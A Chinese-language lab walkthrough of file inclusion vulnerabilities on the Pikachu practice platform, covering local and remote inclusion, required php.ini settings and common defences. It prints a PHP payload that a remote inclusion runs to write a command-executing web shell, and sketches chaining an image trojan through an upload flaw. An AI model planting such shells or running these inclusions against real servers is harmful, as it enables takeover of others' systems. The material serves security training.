pikachu-文件包含漏洞(Files Inclusion)
一、文件包含漏洞概述
在web后台开发中,程序员往往为了提高效率以及让代码看起来简洁,会使用"包含"函数功能。例如把一些功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用函数代码。
但是有些时候,因为网站功能的需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了"包含"功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置让后台执行任意文件(代码)。
这种情况我们就成为"文件包含"漏洞,文件包含漏洞有"本地文件包含漏洞"和"远程文件包含漏洞"两种情况。
二、本地文件包含漏洞测试
1、我们来到pikachu平台的File Inclusion(local)模块。我们在选择菜单里,随便选择一个,点击"提交查询"。

2、那我们尝试修改传入后台的文件。

3、下面我们来看一下源码

三、远程文件包含漏洞测试
远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码~
注意:
远程包含漏洞的前提:如果使用的是include和require,我们则需要对php.ini进行如下配置:
allow_url_fopen = on //默认打开
Allow_url_include=on //默认关闭。
1、首先检查我们的php.ini配置文件是否需要改动,如果进行了改动,记得重启PHPstudy服务。
2、来到对应的测试模块页面

2、我们在站点的根目录下新建一个pikachu文件夹,在文件夹里新建一个yijuhua.txt
文本文档的内容如下:
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

3、我们通过192.168.33.253站点访问我们新建的yijuhua.txt文件。并且将URL地址栏中的值复制。

4、执行下图中的操作。

5、然后我们点击提交。来到资源管理器查看

6、然后我们进行远程的调用。

四、文件包含漏洞之文件上传漏洞的利用
如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。
那么我们呢可以进行更深层次的利用。
刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合。
思路:
- 制作一个图片木马,通过文件上传漏洞上传
- 通过文件包含漏洞对该图片木马进行"包含"
- 获取执行结果
五、文件包含漏洞常见防范措施
1、在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。
2、过滤各种../../,http://,https://
3、配置php.ini配置文件:
allow_url_fopen = off
allow_url_include=off
magic_quotes_gpc=on
4、通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。
pikachu-文件包含漏洞(Files Inclusion)的更多相关文章
- 文件包含漏洞File Inclusion
文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...
- php文件包含漏洞 file inclusion vulnerability
0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...
- Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)
1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...
- Pikachu-File Inclusion(文件包含漏洞)
File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...
- PIKACHU之文件包含漏洞
PIKUCHU靶场之文件包含 一.file inclusion(local) 实验源码: <?php /** * Created by runner.han * There is nothing ...
- 文件包含漏洞(pikachu)
文件包含漏洞 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用'包含'函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候,就直接在文 ...
- 文件包含漏洞(file inclusion)
文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...
- pikachu 文件包含,上传,下载
一.文件包含 1.File Inclusion(local) 我们先测试一下,选择kobe然后提交 发现url出现变化 可以猜测此功能为文件包含,包含的文件为 file1.php,所以我在此盘符的根目 ...
- PHP文件包含漏洞剖析
一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...
- php文件包含漏洞(利用phpinfo)复现
利用docker复现该漏洞,访问http://192.168.80.156:8080/phpinfo.php,可以看到页面出现phpinfo页面 再访问http://192.168.80.156:8 ...
随机推荐
- mong 的 安装 和测试
<hr>
- BZOJ4559 成绩比较
题目传送门 分析: 我们可以先试着求一下,对于单个学科,有多少种分配方案可以使B神排名为R 对于第i个学科 \(~~~~g(i)=\sum_{j=1}^{H_i}j^{n-R_i}(H_i-j)^{R ...
- CSS-13-块级元素和行内元素
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- PTA 6-14 用单向链表完成多项式运算(35分)
输入两个多项式,计算它们的加.减及乘法, 将计算结果输出到屏幕上. 1) 输入:从键盘分两行分别输入两个多项式数据,每个多项式输入格式如下: n a1 m1 a2 m2 a3 m3 . .. ai m ...
- try catch finally的理解
定义以及用法: try/catch/finally 语句用于处理代码中可能出现的错误信息. 错误可能是语法错误,通常是程序员造成的编码错误或错别字.也可能是拼写错误或语言中缺少的功能(可能由于浏览器差 ...
- 通过 SCF Component 轻松构建 REST API,再也不用熬夜加班了
本教程将分享如何通过 Serverless SCF Component .云函数 SCF 及 API 网关组件,快速构建一个 REST API 并实现 GET/PUT 操作. 当一个应用需要对第三方提 ...
- python学习Day06--编码
[主要内容] 1. is 和 == 区别 id()函数 == 判断两边的值 is 判断内存地址回顾编码: 1. ASCII: 英文, 特殊字符, 数字, 8bit, 1byte 2. GBK: 中文 ...
- scrapy-redis分布式爬虫实战
Scrapy-Redis代码实战 Scrapy 是一个通用的爬虫框架,但是不支持分布式,Scrapy-redis是为了更方便地实现Scrapy分布式爬取,而提供了一些以redis为基础的组件(仅有组件 ...
- ORA-12547: TNS: 丢失连接
今天服务器挂掉了,公司的人弄了一下,,把服务器修好了,,但是我本地链接数据库一直报这个ORA-12547: TNS: 丢失连接,是服务器上的TNS监听没有启动,需要重启一下,
- jsp操作mysql样例
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding= ...